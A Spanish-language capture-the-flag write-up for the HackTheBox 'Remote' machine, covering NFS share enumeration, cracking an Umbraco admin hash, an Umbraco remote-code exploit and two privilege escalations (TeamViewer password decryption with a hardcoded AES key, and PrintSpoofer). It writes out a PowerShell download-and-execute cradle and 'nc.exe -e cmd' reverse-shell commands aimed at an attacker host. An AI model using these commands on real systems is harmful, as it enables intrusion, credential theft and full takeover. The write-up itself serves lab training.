HackTheBox - Remote
Máquina Windows de nivel Easy de HackTheBox.
Técnicas usadas: Information Leakage, Team Viewer Exploitation, PrintSpoofer
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
nmap -p<Puertos> -sCV <IP> -oN versiones
Realizamos un fuzzing al servicio web
1 2 3 4
❯ dirsearch -u http://<IP Remote>/ <SNIP> [14:27:26] 200 - 6KB - /umbraco/webservices/codeEditorSave.asmx
Umbraco es un CMS desarrollado en C# para Microsoft
Lo más interesante del servicio rpcbind que existe el servicio NFS. Listamos las monturas disponibles
1 2 3
❯ showmount -e <IP Remote> Export list for 10.10.10.180: /site_backups (everyone)
Creamos un directorio con el nombre de la montura en
/mnt
y lo montamos1 2
❯ mkdir site_backups ❯ mount -t nfs <IP Remote>:/site_backups /mnt/site_backups
c. Ahora ya podemos listar todo el contenido. Al investigar por algún fichero en el que se almacenen credenciales encontramos este post. Aquí nos mencionan que existen credenciales en App_Data/Umbraco.sdf
1
2
3
4
❯ strings Umbraco.sdf | less
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
<SNIP>
Obtenemos un correo admin@htb.local y un hash b8be16afba8c314ad33d812f22a04991b90e2aaa el cual crackearemos con john
1 2 3
❯ john admin_hash -w=/usr/share/wordlists/rockyou.txt baconandcheese
d. Estas credenciales nos servirán para el panel de login de Umbraco. Una vez dentro, podemos ver la versión de este CMS
Buscamos un exploit para esta versión de Umbraco Exploit Db
Primero, nos descargamos Invoke-PowerShellTcp.ps1 y le añadimos esta línea al final
Invoke-PowerShellTcp -Reverse -IPAddress <tun0 IP> -Port 443
Ahora modificamos el script
1 2 3 4 5 6 7 8 9
login = "admin@htb.local"; password="baconandcheese"; host = "http://<IP Remote>"; <SNIP> string cmd = "/c powershell IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.18/reverse.ps1\')" proc.StartInfo.FileName = "cmd.exe"; <SNIP>
Montamos un servicio con python, nos ponemos en escucha con nc y ejecutamos el exploit
Escalada de Privilegios 💹
Existen 2 formas de escalar privilegios
a. Al investigar un poco el sistema veremos que existe un TeamViewer 7
PS C:\Program Files (x86)\TeamViewer> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/27/2020 10:35 AM Version7
- Si investigamos alguna forma de explotarlo conseguiremos este exploit
b. Los pasos que debemos seguir son
PS C:\Program Files (x86)\TeamViewer\Version7> cd HKLM:\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7
PS HKLM:\SOFTWARE\WOW6432Node\TeamViewer\Version7> (get-itemproperty .).SecurityPasswordAES
El output del último comando lo pasaremos a una lista.
Ahora con un script en python obtendremos la contraseña en texto claro
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00" IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04" decipher = AES.new(key,AES.MODE_CBC,IV) password_encode = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(password_encode).decode() print("[+] Password:", plaintext) ----------------------------------------------------------------------------------------------------------------------------------------------- ❯ python3 decrypt.py [+] Password: !R3m0te!
Con esta credencial nos podemos conectar con evil-winrm
1 2 3
❯ evil-winrm -i 10.10.10.180 -u administrator -p '!R3m0te!' *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami remote\administrator
a. La segunda forma es ejecutando PrintSpoofer. Lo pasamos a la máquina víctima, en conjunto con nc.exe
1
2
3
4
5
6
7
❯ ls
PrintSpoofer64.exe
nc.exe
❯ python -m http.server 80
-------------------------------------------------------------------------------------------
PS C:\Temp> iwr -Uri "http://<tun0 IP>/PrintSpoofer64.exe" -OutFile ".\PrintSpoofer64.exe"
PS C:\Temp> iwr -Uri "http://<tun0 IP>/nc.exe" -OutFile ".\nc.exe"
Ahora nos enviamos una reverse shell y ya seremos nt authority\system
1 2 3 4 5 6 7 8 9
PS C:\Temp> .\PrintSpoofer64.exe -i -c "C:\Temp\nc.exe -e cmd 10.10.14.18 4444" ❯ nc -lvnp 4444 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. ---------------------------------------------------- C:\Windows\system32>whoami nt authority\system